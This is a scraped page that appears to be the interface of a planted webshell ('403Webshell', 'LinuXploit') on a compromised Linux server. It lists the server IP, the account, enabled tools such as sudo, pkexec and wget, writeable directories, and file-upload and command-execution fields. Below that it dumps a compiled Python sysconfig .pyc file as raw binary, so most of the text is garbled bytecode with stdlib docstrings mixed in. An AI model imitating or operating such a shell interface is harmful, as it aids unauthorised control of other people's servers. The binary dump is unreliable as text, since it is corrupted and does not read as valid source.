403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.4/__pycache__/sysconfig.cpython-34.pyc
�
�-X�a�@s�dZddlZddlZddlmZmZdddddd	d
ddd
dgZiidd6dd6dd6dd6dd6dd6dd6dd6d6id d6d!d6d!d6d!d6d"d6d"d6dd6dd6d#6id$d6d%d6d&d6d&d6d'd6d'd6d(d6dd6d)6id*d6d*d6d+d6d+d6d,d6d-d6d.d6d/6id0d6d0d6d1d6d1d6d2d6d3d6d.d6d46id5d6d5d6d6d6d6d6d7d6d3d6d.d6d86ZdpZej	j
�dZej	dd9�Zeded:Z
ejjej�Zejjej�Zejjej�Zejjej�ZdadZd;d<�Zejr�ejjeej��Zneej��Zejd)kr�d=edqd�j �kr�eejj!ee��Znejd)kr>d?edrd�j �kr>eejj!eee��Znejd)kr�dAedsd�j �kr�eejj!eee��ZndCej"kr�eej"dC�ZndDdE�Z#e$edFd�Z%e%r0ejd)kr0e%j �j&dt�r0ejje%�Z%e%j&d=�r0ejje%�Z%q0ndHdIdJ�Z'e'dK�Z(e(r�x-duD]"Z)dLee)d<dMee)d<qXWndNdO�Z*dPdQ�Z+dRdS�Z,dTdU�Z-dVdW�Z.ddXdY�Z/dZd�Z0d[d\�Z1d]d^�Z2d_d`�Z3ddad�Z4dbd�Z5dcd
�Z6ddd	�Z7e-�ddKded
�Z8e-�ddKdfd�Z9dgd�Z:dhd�Z;did�Z<djd�Z=dkdl�Z>dmdn�Z?e@dokr�e?�ndS)vz-Access to Python's configuration information.�N)�pardir�realpath�get_config_h_filename�get_config_var�get_config_vars�get_makefile_filename�get_path�get_path_names�	get_paths�get_platform�get_python_version�get_scheme_names�parse_config_hz-{installed_base}/lib/python{py_version_short}�stdlibz'{platbase}/lib/python{py_version_short}�
platstdlibz1{base}/lib/python{py_version_short}/site-packages�purelibz5{platbase}/lib/python{py_version_short}/site-packages�platlibz;{installed_base}/include/python{py_version_short}{abiflags}�includez?{installed_platbase}/include/python{py_version_short}{abiflags}�platincludez
{base}/bin�scriptsz{base}�data�posix_prefixz{installed_base}/lib/pythonz{base}/lib/pythonz{installed_base}/include/python�
posix_homez{installed_base}/Libz
{base}/Libz{base}/Lib/site-packagesz{installed_base}/Includez{base}/Scripts�ntz#{userbase}/Python{py_version_nodot}z1{userbase}/Python{py_version_nodot}/site-packagesz+{userbase}/Python{py_version_nodot}/Includez{userbase}/Scriptsz
{userbase}Znt_userz'{userbase}/lib/python{py_version_short}z5{userbase}/lib/python{py_version_short}/site-packagesz+{userbase}/include/python{py_version_short}z{userbase}/binZ
posix_userz{userbase}/lib/pythonz#{userbase}/lib/python/site-packagesz{userbase}/includeZosx_framework_user��cCs+yt|�SWntk
r&|SYnXdS)N)r�OSError)�path�r�/usr/lib/python3.4/sysconfig.py�_safe_realpathcs
r �pcbuild�z\pc\v�
z\pcbuild\amd64�Z_PYTHON_PROJECT_BASEcCs=x6dD].}tjjtjj|d|��rdSqWdS)N�
Setup.dist�Setup.localZModulesTF)r%r&)�osr�isfile�join)�d�fnrrr�_is_python_source_dir}s
$r,Z_home�
pcbuild\amd64FcCs |rtrtt�Stt�S)N)�	_sys_homer,�
_PROJECT_BASE)Z
check_homerrr�is_python_build�s
r0Tz{srcdir}/Includez{projectbase}/.cCsvy|j|�SWn^tk
rqy|jtj�SWn5tk
rl}ztd|��WYdd}~XnXYnXdS)Nz{%s})�format�KeyErrorr'�environ�AttributeError)�sZ
local_varsZvarrrr�_subst_vars�s
r6cCsI|j�}x6|j�D](\}}||kr7qn|||<qWdS)N)�keys�items)Ztarget_dictZ
other_dictZtarget_keys�key�valuerrr�_extend_dict�s
r;cCs�i}|dkri}nt|t��xat|j�D]O\}}tjdkrltjj|�}ntjjt	||��||<q<W|S)N�posixr)zposixznt)
r;r�_INSTALL_SCHEMESr8r'�namer�
expanduser�normpathr6)�scheme�varsZresr9r:rrr�_expand_vars�s	#rCcCstjdkrdStjS)Nr<r)r'r>rrrr�_get_default_scheme�srDcCs�tjjdd�}dd�}tjdkrbtjjd�pEd}|rR|S||d�Sntjdkr�td	�}|r�|r�|S|dd
|dtjdd��Sq�n|r�|S|dd
�SdS)NZPYTHONUSERBASEcWstjjtjj|��S)N)r'rr?r))�argsrrr�joinuser�sz_getuserbase.<locals>.joinuserrZAPPDATA�~ZPython�darwinZPYTHONFRAMEWORKZLibraryz%d.%drz.local)r'r3�getr>�sys�platformr�version_info)Zenv_baserF�baseZ	frameworkrrr�_getuserbase�s"rNcCscddl}|jd�}|jd�}|jd�}|dkrNi}ni}i}t|dd��}|j�}	WdQXx�|	D]�}
|
jd�s�|
j�d	kr�q�n|j|
�}|r�|jd
d�\}}
|
j�}
|
jdd	�}d
|kr|
||<qayt	|
�}
Wn(t
k
rS|
jdd
�||<YqaX|
||<q�q�Wt|j��}d}x�t
|�dkrxzt|�D]l}||}|j|�}|j|�}|r|r|j�|j�kr�|n|}n|r|n|}|dk	r�|jd
�}d}||krRt||�}n�||krgd}n�|tjkr�tj|}nx||kr�|jd�r�|dd�|kr�d	}q�d||kr�d}q�t|d|�}nd	||<}|r||j�d�}|d|j��||}d
|krQ|||<q�yt	|�}Wn"t
k
r�|j�||<YnX|||<|j|�|jd�r�|dd�|kr�|dd�}||kr�|||<q�q�qq�|||<|j|�q�Wq�Wx<|j�D].\}}
t|
t�r |
j�||<q q W|j|�|S)z�Parse a Makefile-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    rNz"([a-zA-Z][a-zA-Z0-9_]+)\s*=\s*(.*)z\$\(([A-Za-z][A-Za-z0-9_]*)\)z\${([A-Za-z][A-Za-z0-9_]*)}�errors�surrogateescape�#��rz$$�$�CFLAGS�LDFLAGS�CPPFLAGSTFZPY_r)rUrVrW)�re�compile�open�	readlines�
startswith�strip�match�group�replace�int�
ValueError�listr7�len�tuple�search�start�strr'r3�end�remover8�
isinstance�update)�filenamerBrXZ_variable_rxZ_findvar1_rxZ_findvar2_rxZdoneZnotdone�f�lines�line�m�n�vZtmpvZ	variablesZrenamed_variablesr>r:Zm1Zm2�found�itemZafter�krrr�_parse_makefile�s�		
!


'			





rwcCs�trtjjtptd�Sttd�rDdttj	f}nd}ttj
d�rs|dtj
j7}ntjjtd�|d�S)z Return the path of the Makefile.ZMakefile�abiflagszconfig-%s%sZconfig�
_multiarchz-%sr)
�
_PYTHON_BUILDr'rr)r.r/�hasattrrJ�_PY_VERSION_SHORTrx�implementationryr)Zconfig_dir_namerrrrSsc+Cs_ddl}i}t�}yt||�Wn^tk
r�}z>d|}t|d�rn|d|j}nt|��WYdd}~XnXt�}y&t|��}t||�WdQXWn^tk
r}z>d|}t|d�r�|d|j}nt|��WYdd}~XnXt	r4|d|d<nd}d	t
jkr}ddl}|j
|�}	||	_|	t
j|<nd
t�t
jdd�f}
tt
d�r�|
d
7}
ntj|
dd�tjj|
|d�}t|ddd��4}|jd�|jd�|j|d|�WdQXtdddd��}|j|
�WdQXdS)z;Generate the Python module containing build-time variables.rNz.invalid Python installation: unable to open %s�strerrorz (%s)ZLDSHAREDZ	BLDSHARED�_sysconfigdatarHzbuild/lib.%s-%srZgettotalrefcountz-pydebug�exist_okTz.py�w�encoding�utf8zB# system configuration generated and used by the sysconfig module
zbuild_time_vars = �streamzpybuilddir.txt�ascii)�pprintrrwrr{r~rrZrrzrJrK�types�
ModuleType�build_time_vars�modulesr�versionr'�makedirsrr)�write)r�rBZmakefile�e�msgZconfig_hrnr>r��moduleZ
pybuilddirZdestfilerrr�_generate_posix_vars_sL	
	

	 


r�cCs!ddlm}|j|�dS)z7Initialize the module as appropriate for POSIX systems.r)r�N)rr�rl)rBr�rrr�_init_posix�sr�cCsqtd�|d<td�|d<td�|d<d|d<d	|d
<t|d<tjjttj��|d<d
S)z+Initialize the module as appropriate for NTrZLIBDESTrZ
BINLIBDESTrZ	INCLUDEPYz.pyd�
EXT_SUFFIXz.exeZEXEZVERSIONZBINDIRN)r�_PY_VERSION_SHORT_NO_DOTr'r�dirnamer rJ�
executable)rBrrr�_init_non_posix�s


r�c	Cs�|dkri}nddl}|jd�}|jd�}x�|j�}|sXPn|j|�}|r�|jdd�\}}yt|�}Wntk
r�YnX|||<qB|j|�}|rBd||jd�<qBqBW|S)z�Parse a config.h-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    Nrz"#define ([A-Z][A-Za-z0-9_]+) (.*)
z&/[*] #undef ([A-Z][A-Za-z0-9_]+) [*]/
rSr)rXrY�readliner^r_rarb)	�fprBrXZ	define_rxZundef_rxrprqrrrsrrrr�s*	

cCsatrBtjdkr3tjjtp'td�}qNtp<t}ntd�}tjj|d�S)zReturn the path of pyconfig.h.rZPCrz
pyconfig.h)rzr'r>rr)r.r/r)Zinc_dirrrrr�scCsttt��S)z,Return a tuple containing the schemes names.)re�sortedr=rrrrr
�scCstS)z*Return a tuple containing the paths names.)�_SCHEME_KEYSrrrrr	�scCs|rt||�St|SdS)z�Return a mapping containing an install scheme.

    ``scheme`` is the install scheme name. If not provided, it will
    return the default scheme for the current platform.
    N)rCr=)rArB�expandrrrr
�s
cCst|||�|S)z[Return a path corresponding to the scheme.

    ``scheme`` is the install scheme name.
    )r
)r>rArBr�rrrr�scGs5tdkr�iattd<ttd<ttd<ttd<tdtdtd<ttd	<ttd
<ttd<ttd<ttd
<ytj	td<Wnt
k
r�dtd<YnXtjdkr�t
t�ntjdkr�tt�ntjd�}|dk	r|td<nt�td<td�}|rBd|td<n
dtd<tjdt�}tjdkr�tr�tjjt��}tjj||�}q�tjjt��}nt|�td<tjdkr�ddl}|jt�q�n|r-g}x$|D]}|jtj|��q	W|StSdS)anWith no arguments, return a dictionary of all configuration
    variables relevant for the current platform.

    On Unix, this means every variable defined in Python's installed Makefile;
    On Windows it's a much smaller set.

    With arguments, return a list of values that result from looking up
    each argument in the configuration variable dictionary.
    N�prefix�exec_prefixZ
py_versionZpy_version_shortrrZpy_version_nodotZinstalled_baserMZinstalled_platbaseZplatbaseZprojectbaserxrRrr<r��SOZuserbaseZ	MULTIARCH�/Zmultiarchsubdir�srcdirrH)�_CONFIG_VARS�_PREFIX�_EXEC_PREFIX�_PY_VERSIONr|�_BASE_PREFIX�_BASE_EXEC_PREFIXr/rJrxr4r'r>r�r�rIrNrrzrr�rr)r rK�_osx_supportZcustomize_config_vars�append)rEr�Z	multiarchr�rMr�Zvalsr>rrrr�sX















cCs>|dkr.ddl}|jdtd�nt�j|�S)z�Return the value of a single variable using the dictionary returned by
    'get_config_vars()'.

    Equivalent to get_config_vars().get(name)
    r�rNz SO is deprecated, use EXT_SUFFIXr)�warnings�warn�DeprecationWarningrrI)r>r�rrrrQscCs�tjdkr�d}tjj|�}|d*kr:tjStjjd|�}tj|t|�|�j�}|dkr�dS|dkr�dStjStjd	ks�ttd
�r�tjSdtj	kr�tj	dStj
�\}}}}}|j�jdd
�}|jdd�}|jdd�}|dd�dkrTd||fS|dd�dkr�|ddkr�d}dt|d�d|dd�f}idd6dd6}	|d |	tj
7}q�n�|dd!�d"kr�d||fS|dd�d#kr"d$|||fS|dd%�d&kr�d&}ddl}
|
jd'�}|j|�}|r�|j�}q�nI|dd%�d(kr�ddl}
|
jt�|||�\}}}nd)|||fS)+a�Return a string that identifies the current platform.

    This is used mainly to distinguish platform-specific build directories and
    platform-specific built distributions.  Typically includes the OS name
    and version and the architecture (as supplied by 'os.uname()'),
    although the exact information included depends on the OS; eg. for IRIX
    the architecture isn't particularly important (IRIX only runs on SGI
    hardware), but for Linux the kernel version isn't particularly
    important.

    Examples of returned values:
       linux-i586
       linux-alpha (?)
       solaris-2.6-sun4u
       irix-5.3
       irix64-6.2

    Windows will return one of:
       win-amd64 (64bit Windows on AMD64 (aka x86_64, Intel64, EM64T, etc)
       win-ia64 (64bit Windows on Itanium)
       win32 (all others - specifically, sys.platform is returned)

    For other non-POSIX platforms, currently just returns 'sys.platform'.
    rz bit (rS�)Zamd64z	win-amd64Zitaniumzwin-ia64r<�unameZ_PYTHON_HOST_PLATFORMr�rR� �_�-N�Zlinuxz%s-%sZsunosr�5Zsolarisz%d.%srrZ32biti���Z64bitl����z.%s�ZirixZaixz%s-%s.%s��cygwinz[\d.]+rHz%s-%s-%s���)r'r>rJr��findrKrd�lowerr{r3r�r`ra�maxsizerXrYr^r_r�Zget_platform_osxr)r��i�jZlookZosnameZhost�releaser��machineZbitnessrXZrel_rerqr�rrrr]sZ#(cCstS)N)r|rrrrr�scCsdx]tt|j���D]C\}\}}|dkrHtd|�ntd||f�qWdS)Nrz%s: z
	%s = "%s")�	enumerater�r8�print)�titler�indexr9r:rrr�_print_dict�s+r�cCsdtjkrt�dStdt��tdt��tdt��t�tdt��t�tdt	��dS)z*Display all information sysconfig detains.z--generate-posix-varsNzPlatform: "%s"zPython version: "%s"z!Current installation scheme: "%s"ZPathsZ	Variables)
rJ�argvr�r�rrrDr�r
rrrrr�_main�sr��__main__)zstdlibz
platstdlibrrzincluderzdatai����i����i�)r!r-)zposix_prefixr)A�__doc__r'rJ�os.pathrr�__all__r=r�r��splitr�r|r�rr@r�r��base_prefixr�r�r��base_exec_prefixr�r�Z
_USER_BASEr r�r�r/�getcwdr>r�r)r3r,�getattrr.�endswithr0rzrAr6r;rCrDrNrwrr�r�r�rrr
r	r
rrrrrr�r��__name__rrrr�<module>s�		++!+!
	
|? S[

Youez - 2016 - github.com/yon3zu
LinuXploit